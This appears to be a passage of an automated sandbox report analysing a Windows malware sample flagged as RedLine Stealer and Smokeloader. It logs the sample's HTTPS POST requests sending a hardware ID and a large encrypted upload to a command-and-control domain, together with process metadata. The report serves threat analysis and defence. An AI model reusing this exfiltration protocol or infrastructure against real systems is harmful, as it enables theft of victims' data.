2024-04-21 08:47:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 08:47:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.15.198	443	7516	C:\Users\user\Desktop\2FjvjcayaH.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 08:47:02 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5439 Host: strollheavengwu.shop
2024-04-21 08:47:02 UTC	5439	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 30 45 44 39 30 43 39 46 42 33 32 41 34 46 44 39 42 41 31 39 35 45 32 37 34 42 42 30 36 39 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"020ED90C9FB32A4FD9BA195E274BB069--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-21 08:47:03 UTC	816	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 08:47:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=beo5ngjpve4ne1qqek046k5e4t; expires=Thu, 15-Aug-2024 02:33:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J%2F5WEbFE8Tf1mS7OWyIVuMLliDE79wuT7%2FYaGa3a%2BzqkSijwwZnwfFW6gtdLMaoMLmC%2BgCommSeaS5R9RaXrPQvFYam68wz3umaMNJ63Gt3dkF%2B0wXMUju%2B4cNyC7VjQP%2B20LftEoA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877c1b6b5e50ad8f-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 08:47:03 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 08:47:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	104.21.15.198	443	7516	C:\Users\user\Desktop\2FjvjcayaH.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 08:47:03 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1396 Host: strollheavengwu.shop
2024-04-21 08:47:03 UTC	1396	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 30 45 44 39 30 43 39 46 42 33 32 41 34 46 44 39 42 41 31 39 35 45 32 37 34 42 42 30 36 39 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"020ED90C9FB32A4FD9BA195E274BB069--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-21 08:47:04 UTC	808	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 08:47:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ls4k5g1uibp45u9sadlo6f7hbb; expires=Thu, 15-Aug-2024 02:33:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7aEzhQyGD40wFBJOAAlRVYz7onfEdFbMrxAcUgN1mmMqw2phuV%2BfHHuW2lXEBs6Cg7FSy4Esl8zR0E8WpbTId4rYgLu8zVKCX%2BjXH7ZrWoH9WgvUOQdaW%2Bd0dDCIuJsxhmPNbwpBCA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877c1b70ec1d4527-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 08:47:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 08:47:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	104.21.15.198	443	7516	C:\Users\user\Desktop\2FjvjcayaH.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 08:47:05 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 574241 Host: strollheavengwu.shop
2024-04-21 08:47:05 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 30 45 44 39 30 43 39 46 42 33 32 41 34 46 44 39 42 41 31 39 35 45 32 37 34 42 42 30 36 39 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"020ED90C9FB32A4FD9BA195E274BB069--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-21 08:47:05 UTC	15331	OUT	Data Raw: 19 ac 60 cc a8 cd ae 04 10 f8 7a 28 35 3b ee 50 aa 28 90 9f 87 72 de c3 d9 08 4c f4 10 00 a7 d4 b1 30 8e 8d dd b0 45 47 66 0b ad ef 67 7b 89 80 c7 01 f3 b6 68 10 59 b5 d0 f1 92 8f 1e 23 9c fa bf 28 ff 7f 5f ce 03 e6 e5 6c a8 4f 00 48 c6 c0 4e 0b 10 a3 58 00 88 30 0c 1b 8d d1 58 ff 14 66 91 49 80 08 8a bd 07 91 93 f1 f0 8e 49 c4 ab 9c 5c 14 7c 51 83 2e 05 4a 0f 9a 54 f7 f0 83 64 83 8d db d1 38 d2 3e 8b 6a 3f b4 ae 1d 88 da cb f1 f2 60 4c af 27 ea a1 65 ee 47 30 e4 f2 35 99 35 1b 68 c1 fa 1d f9 93 bf 3a ed d9 9f 3d 65 a3 6e 26 69 53 ab a0 23 85 5e 50 4e 07 fb ab 97 0f cf a5 97 84 41 9a fe 76 ca 42 b3 fe 7c 7c ad fc 86 e2 b4 41 e4 c2 45 d3 b1 75 07 69 0a 99 81 58 16 f1 55 cd e9 d7 2b 20 68 2f f5 08 3a 94 17 4c 0d a0 17 b7 83 4d 22 0d 53 36 ae 1a d0 11 71 18 Data Ascii: `z(5;P(rL0EGfg{hY#(_lOHNX0XfII\\|Q.JTd8>j?`L'eG055h:=en&iS#^PNAvB\|\|AEuiXU+ h/:LM"S6q
2024-04-21 08:47:05 UTC	15331	OUT	Data Raw: 12 0e 34 a1 ed 21 b5 20 9c bb 31 33 84 9b cc c3 09 23 81 b7 93 31 cf 15 8a 75 fd 72 77 bf d7 df da 75 4c 21 69 1e 91 80 15 96 39 bd d9 9f b0 cf 44 6c e4 a2 ca c1 ee 41 16 29 65 8f 42 20 a7 98 19 83 24 a7 ee 87 d3 05 8d 9a 69 52 d0 b8 5e 03 f9 fd 91 46 93 a4 55 a4 63 ad 44 60 92 a4 15 c7 f9 11 cc 7c ed cb c1 c4 80 3e bc 6d 4e 12 58 c9 0c 23 cd 3c e7 23 4d 4c af 8f d5 98 54 71 4a f7 a7 d3 bb b4 b7 a6 4f 50 06 9b 8e f0 99 96 4a 55 8c 8b 3b d9 d8 ae 9b 4e 3c ee e0 36 45 fc 99 fb 18 55 2f 49 3a bb 68 a9 c9 c9 f0 d6 57 09 46 e8 dc e7 5a 4f 4f d6 cb 12 6b b9 e8 aa 91 0e b0 1b f3 cc cb a6 cd 84 97 a2 91 c8 b9 3a a3 ee c9 2e 66 9a b7 99 4a 2e 21 b0 e1 b8 11 81 f0 fb 66 96 14 d2 4a d6 60 62 f0 ad 7e da 1d 19 be f4 44 c8 50 0d a5 48 57 ea f2 f8 b7 d7 ec 68 5c 50 71 Data Ascii: 4! 13#1urwuL!i9DlA)eB $iR^FUcD`\|>mNX#<#MLTqJOPJU;N<6EU/I:hWFZOOk:.fJ.!fJ`b~DPHWh\Pq
2024-04-21 08:47:05 UTC	15331	OUT	Data Raw: 20 6f 98 ef 12 2e c9 75 c9 14 62 4e b9 12 0d fc 54 97 8d 81 b3 13 c6 12 18 d1 ed b6 d2 7e 97 e3 98 bf 7e 87 4d 49 92 24 66 be 3e f6 02 1c d3 c3 fd c6 27 9f 0b 5d fe bd 1a a2 67 dd a3 a7 9b 8a 16 05 76 ec a2 aa bc 4d 01 7e e6 4d 4b 4e 0f f5 05 fb f9 bf 8c 88 b7 c6 7a 0e f7 a4 10 53 65 b2 e3 1f 83 78 2f a6 ab a0 45 6a d4 3d e9 4c 1f cc ed 73 a7 d8 81 fa ab 96 c1 83 63 0e 87 a3 2b d6 37 f2 4e f2 36 0c 4b 77 3d e1 99 6f 91 08 57 24 71 2f 1c bf 68 17 11 24 bc f5 5b fb 11 70 f9 a1 dc 02 2d 5a e8 e8 9d 42 30 4e e0 d5 1f ba 1e 3f c5 60 f4 b5 f0 c4 0c f7 c0 71 dc 8d e2 ee 93 2c 81 ad c3 0c 87 6d a5 09 b6 bb 31 47 b0 70 e9 35 11 b6 3d b6 4f dd ef 77 aa 9f 18 44 89 e6 f9 fa 1f 7b a1 b9 d0 eb cd 6b c3 fe 7c f9 56 e0 a7 c1 e4 4a 70 cc 4e 31 7d 3f 6e b8 c1 a8 70 9e ba Data Ascii: o.ubNT~~MI$f>']gvM~MKNzSex/Ej=Lsc+7N6Kw=oW$q/h$[p-ZB0N?`q,m1Gp5=OwD{k\|VJpN1}?np
2024-04-21 08:47:05 UTC	15331	OUT	Data Raw: 44 63 3d 9a 3a ec be 2d 30 12 7c 47 b4 ff 7f 5b 31 ef ff e3 42 a6 40 64 69 8c 02 3a 34 0c e7 e1 0e c8 17 b9 3c 72 e7 6b 4a f7 c5 50 4b f1 e1 2a e0 e1 65 35 ba c9 59 dd de 7f 59 e3 10 6d 2f 36 43 9e 51 76 f7 7d 3a ab 41 7e 82 db 12 20 88 ee 3a be ae c2 54 5f d9 3e b3 46 06 13 20 20 7f 75 c9 e9 98 5e d3 86 92 6c 86 41 c8 c3 bd b4 cc ec 82 b4 8b 24 e7 3e 0a c7 4e b1 f5 eb 7f 50 eb 97 5d 99 9d 4e 42 90 cc 40 f0 3d a6 8c d3 c6 35 a7 f4 88 10 ff 66 22 4d f7 34 2c b6 54 b2 c2 c2 61 7e 73 37 a9 29 b7 ac e8 8c 81 cb 93 89 13 cc 51 31 3b 26 bf 3e d1 9a 43 b0 fc 6d 6b ec 07 bb e6 c5 b0 65 90 91 2a 94 3d 47 7d 6e 74 2c cd 0c 6b 67 e3 88 ba 9d ac 14 22 0d 65 c8 73 d6 ba d6 08 f2 7e d4 b6 e0 d2 45 ea 3e e8 10 26 a7 62 71 d1 d8 0f 23 89 bb 2f f0 25 04 23 4c 7c 05 f5 a1 Data Ascii: Dc=:-0\|G[1B@di:4<rkJPKe5YYm/6CQv}:A~ :T_>F u^lA$>NP]NB@=5f"M4,Ta~s7)Q1;&>Cmke=G}nt,kg"es~E>&bq#/%#L\|
2024-04-21 08:47:05 UTC	15331	OUT	Data Raw: e9 cb d9 1e 80 8a 47 a5 dd 04 5e db 2d 20 85 b9 3b 88 05 89 98 86 80 d2 72 ea 6d 0e d0 17 05 3b 13 41 c7 53 78 2f 3f 38 5a b2 cc cb 68 f1 9c 26 80 5e 51 98 b0 d5 0b c1 42 db e7 05 76 bb f8 05 9d 44 17 e5 8b 76 37 03 b7 67 7f ba f6 01 f3 61 e7 2f 3b d3 97 67 06 76 1a 8d 54 0d 3e 33 9f 56 c4 cb 48 53 d2 35 56 25 ba cf 0e 04 77 f2 37 9e 4c a9 09 26 53 aa c5 d2 cc 7a a6 14 9b a7 d6 4d 59 8f e0 ea fd 28 ee 44 e9 8c f4 27 a1 96 20 57 99 05 e6 2c 09 57 27 37 11 13 80 62 10 32 2c 35 c4 5b b5 91 77 60 e1 a8 8a 32 f8 89 35 06 c6 4c 23 10 23 b2 88 ef bf 17 a3 d0 e0 55 f8 a4 b6 fa 26 33 e4 cf 7a 78 a9 c0 36 84 d2 e0 7c 5e 4c 34 a9 49 15 a2 75 a3 88 5a 36 aa 24 bb f0 c0 8b 8e 0c 9d 4a 96 d7 2f 79 8a d6 21 92 d7 e3 e8 60 0d 2e e2 ba d9 e0 4e 2e 2e 22 16 eb 6a 2e b2 4e Data Ascii: G^- ;rm;ASx/?8Zh&^QBvDv7ga/;gvT>3VHS5V%w7L&SzMY(D' W,W'7b2,5[w`25L##U&3zx6\|^L4IuZ6$J/y!`.N.."j.N
2024-04-21 08:47:05 UTC	15331	OUT	Data Raw: 41 52 ba a4 2e f9 d9 e2 37 9f 3a df 0a 87 45 12 98 4b fd 34 6b 81 2c af 3d d5 d2 ce e0 c6 33 3a c4 52 13 26 6e fd f1 36 02 c4 b7 0e 28 ca d4 bd 49 87 07 83 01 df 07 da e8 db c3 b5 b1 00 40 17 68 6b c5 e9 71 ea 20 f8 73 32 59 e0 72 95 28 5b 7a 21 d6 22 68 66 71 46 0c e8 24 20 a2 96 f5 e1 78 e7 fa e8 a7 a7 92 10 23 27 6d 50 09 31 92 87 41 84 c7 fb 52 49 d0 3d ab 34 c7 01 68 21 1d d0 f0 08 69 7b 06 89 f2 fe e3 78 70 ca 4d 53 a9 53 b2 3b 39 e8 70 d0 65 51 62 f7 38 47 8a af 5a 5b 53 f6 bc f5 53 5f 15 5f b6 e4 59 09 b8 38 fe 60 9b 9d 6d 2a 97 12 8b fd d7 f2 c3 53 20 23 0c 79 ae 2f 33 18 96 98 70 38 0c c0 b2 0f 64 db 7e bb 04 d4 bc 75 b9 c6 7a 54 62 c7 4c 40 87 95 8a 70 5c 71 fe c2 76 73 9e 77 2d e1 c6 15 48 61 fc d0 c0 06 86 c7 44 c1 2d 7e e3 0f 5d ff ed 4e a6 Data Ascii: AR.7:EK4k,=3:R&n6(I@hkq s2Yr([z!"hfqF$ x#'mP1ARI=4h!i{xpMSS;9peQb8GZ[SS__Y8`m*S #y/3p8d~uzTbL@p\qvsw-HaD-~]N
2024-04-21 08:47:05 UTC	15331	OUT	Data Raw: 0f c1 5e c7 b3 94 d8 90 f0 b5 5e 3d 34 d0 ed 7f d7 c8 8f d2 25 f0 62 43 fb 70 ef 9b 5a fa 6a 57 73 8b 85 fc 4c a9 a8 f0 9d 05 1e 6d 6f 23 ab cd 29 7d 4d 06 5b dd 01 cc cd fd 7a cf a6 d7 4a e7 86 93 f5 11 5e 5f 65 e5 e9 92 40 4c 7a 41 26 24 a9 26 e6 43 44 62 d3 55 4e e1 ce b9 46 04 c5 6f f2 2c 2d 4b 94 aa 89 fe 4b 22 fa 13 82 8e 0a 35 3c df 6c 88 51 1f 96 e5 99 6c b8 ea 0d d7 24 f5 3e 35 d8 b8 bc f7 60 94 3d ac 87 19 48 a4 0b e8 bf e1 fe 8a be 37 87 48 47 db 22 d8 60 a1 d4 b5 ff 4f c6 b7 3f 4a 7b c2 f7 c3 58 9e 27 7c c6 8d f7 d7 4c 70 fe 37 bc de 31 3c 30 de 88 2e f2 98 6f 17 7e 0d bc 2f 8a ac d7 2f 1a 5b 05 7c ec ed f3 af 6f 40 01 f1 5d f6 ab 21 bf f1 e6 53 d1 cf 44 40 b3 45 45 e7 90 10 c0 7e e9 19 8f ad 99 25 0c 20 f7 56 e6 87 4a cb de 7b 96 72 1b 05 3b Data Ascii: ^^=4%bCpZjWsLmo#)}M[zJ^_e@LzA&$&CDbUNFo,-KK"5<lQl$>5`=H7HG"`O?J{X'\|Lp71<0.o~//[\|o@]!SD@EE~% VJ{r;
2024-04-21 08:47:05 UTC	15331	OUT	Data Raw: 91 45 24 e6 71 d9 24 3f 60 1e 7b ed b4 51 2e 57 bc d7 43 ea 8e 35 51 f4 62 03 5e 58 07 33 68 2c bc 88 d4 bb 52 1c 78 e9 f5 89 42 b4 de 65 cb b6 d3 93 bf 8a bd 9d 9a 0f 21 99 e7 12 26 90 cc 3c 7a 85 37 58 7d 7a 82 bf 44 6f 07 f2 ee 59 b9 fe b9 33 f7 cd bb 91 fc 84 ec 92 a0 d5 3b 69 6d 40 d5 22 32 ec 81 83 c1 e6 5d 2c f0 42 fd 8e e0 3f 32 42 6d 27 b7 de 81 86 9f bd 18 a9 a7 b5 6a 6b 9f 2e 19 f6 29 3c ec f6 1d 16 81 44 fc a9 92 88 a3 9c 47 80 73 d1 69 86 c8 67 20 03 0a 4d e1 49 d1 a9 2f a0 64 1c 89 36 5a fd 5f e7 cd cc 3f ec 96 74 c3 de 28 c1 d3 36 8e 0a f1 11 69 8b 2c da e8 cd f0 3b a6 3c 07 fd 8b 22 73 09 33 a6 85 28 68 75 4f ad 31 b1 37 cc 57 a0 7b 95 61 5e 05 51 0e 85 dd 94 9d 81 54 10 92 2a 47 62 6f ef a3 2a 53 5c 72 e8 a5 06 85 f7 fe 79 70 49 47 2a fd Data Ascii: E$q$?`{Q.WC5Qb^X3h,RxBe!&<z7X}zDoY3;im@"2],B?2Bm'jk.)<DGsig MI/d6Z_?t(6i,;<"s3(huO17W{a^QTGboS\rypIG*
2024-04-21 08:47:05 UTC	15331	OUT	Data Raw: 07 02 81 00 ae 26 5b 81 81 a4 0a fd 1c 82 76 95 c8 f7 15 be 55 23 6e b6 60 ad 7a e1 f0 05 94 0c c3 67 b0 22 70 fe f6 9e 21 df c2 9a 8d 37 a1 b3 ef 9a 06 1f 2c a5 96 f1 02 d3 55 e8 27 90 f0 a8 08 f4 7f 3b 1e 9d e6 c6 41 d1 a6 15 04 68 12 9c 38 c6 da 86 00 8d bb 29 79 1f e9 85 56 7c 96 e2 80 80 bc fd 87 84 e8 3a ad 9b aa 3c 43 df 5d 18 7b ac fd f4 a2 8c bd 2f 85 bb 0a 78 97 9d 83 83 bf 55 ba 47 50 ae b4 ff fa 39 40 fe 14 a3 91 a1 62 43 92 51 6d 28 f4 aa 58 5e 79 75 3a f2 9b 6e f0 17 6f 8b 12 dd fa 1a 09 b6 6d bb cc c0 67 40 59 79 52 28 f1 41 0d 64 5b d2 fa 65 76 dd 01 45 c2 a8 a4 1f 50 9f 00 5b 68 be f6 ae 8d 8f 2c e1 03 e8 34 e2 9d 81 c8 42 d0 d3 9d f1 c3 1f 0a 0b b4 f9 90 d5 22 57 11 9c 28 eb 3d c0 2e 9d 35 3b 5b 1b 43 2d 51 e0 9e fe b1 59 4e 98 b1 67 2e Data Ascii: &[vU#n`zg"p!7,U';Ah8)yV\|:<C]{/xUGP9@bCQm(X^yu:nomg@YyR(Ad[evEP[h,4B"W(=.5;[C-QYNg.
2024-04-21 08:47:06 UTC	818	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 08:47:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ti0v58ncg40uhs5p7kdkh1u15b; expires=Thu, 15-Aug-2024 02:33:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l8JGpPkAUPS8ClEHNjrlSJSJnfCAbkjkZQVRQTlGaXEp2ZoMTE2%2FaNa%2BW1nE%2FgFRruTXgQLT9Tr6yDF%2Ff2DQO%2BjMLzfX%2FZlDx%2Fu9zXdOZoPYPIkL7vdxQnoYIwq2V9%2BBYk80vXrEjA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877c1b78feacb033-ATL alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	10:46:56
Start date:	21/04/2024
Path:	C:\Users\user\Desktop\2FjvjcayaH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\2FjvjcayaH.exe"
Imagebase:	0x400000
File size:	389'632 bytes
MD5 hash:	673225D992723665F19C4CF40E14B5F7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1925141876.0000000001C1E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:47:06
Start date:	21/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 1464
Imagebase:	0x900000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:47:07
Start date:	21/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 1612
Imagebase:	0x900000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9%
Dynamic/Decrypted Code Coverage:	9.7%
Signature Coverage:	29.1%
Total number of Nodes:	361
Total number of Limit Nodes:	19

Executed Functions

Function 004156B6 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 488
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 004156F8
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 0041572E
RtlExpandEnvironmentStrings.NTDLL(00000000,2F8B2D9A,?,00000000,00000000,?), ref: 00415A58
RtlExpandEnvironmentStrings.NTDLL(00000000,2F8B2D9A,?,00000000,?,?), ref: 00415A9D

Strings

VSB, xrefs: 004158BE

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: VSB
API String ID: 237503144-2654250299
Opcode ID: 53cef7e92d736fe6a7591e0a6cb12257e52cdfb14691c055fed94390b50e5863
Instruction ID: 561acfdcea67f0ed6ea61f084dffec9e4f3ed68c02ddb911ce32c0222a0ae114
Opcode Fuzzy Hash: 53cef7e92d736fe6a7591e0a6cb12257e52cdfb14691c055fed94390b50e5863
Instruction Fuzzy Hash: 01F17DB5A00B01AFD724DF29C8427A3BBF5FF49324F14461DE8AA8B790E335A4518BD5

Uniqueness

Uniqueness Score: -1.00%

Function 004046D0 Relevance: 5.5, Strings: 4, Instructions: 506
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

), xrefs: 0040475E
IDAT, xrefs: 00404B87
IEND, xrefs: 00404BFF
IHDR, xrefs: 00404B16

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR
API String ID: 0-3181356877
Opcode ID: c576af9bbb2859a3af7d0e30d66e3881eecd9865837ce368412a9390484856bc
Instruction ID: 8102909a56e56f31e14bd42bc049a778ecbfeaf59adb2e6de5403f8909f3a5ca
Opcode Fuzzy Hash: c576af9bbb2859a3af7d0e30d66e3881eecd9865837ce368412a9390484856bc
Instruction Fuzzy Hash: C012FDB1A083449FD714CF28D85076B7BE1EF85304F05857EEA85AB382D778D909CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041CC60 Relevance: 4.1, Strings: 3, Instructions: 328COMMON

Download Yara Rule

Strings

m!s, xrefs: 0041CCC6
7q9w, xrefs: 0041CC7E
tu, xrefs: 0041CC86

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID: m!s$7q9w$tu
API String ID: 0-1328737773
Opcode ID: 9a80d6aeca7c9c941bb5b843a82725633c88e976ea84821064f12ec0d42a7703
Instruction ID: a0c0b6b935059c8c526aef0dde426ea912ec2d3602511b1274e97aa73ba39016
Opcode Fuzzy Hash: 9a80d6aeca7c9c941bb5b843a82725633c88e976ea84821064f12ec0d42a7703
Instruction Fuzzy Hash: 1D91F1B16443018BDB14DF14CC927BBB7A1FF91718F19492EE8829B391E378D941C79A

Uniqueness

Uniqueness Score: -1.00%

Function 0041DB22 Relevance: 3.6, APIs: 2, Instructions: 615COMMON

Download Yara Rule

APIs

